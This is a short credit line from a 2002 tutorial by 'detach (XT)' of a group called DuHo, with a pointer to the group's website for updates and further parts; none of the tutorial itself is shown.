detach (XT) [DuHo] 2002
Visit http://www.duho.org/ for updates or new parts of this tutorial every now and then.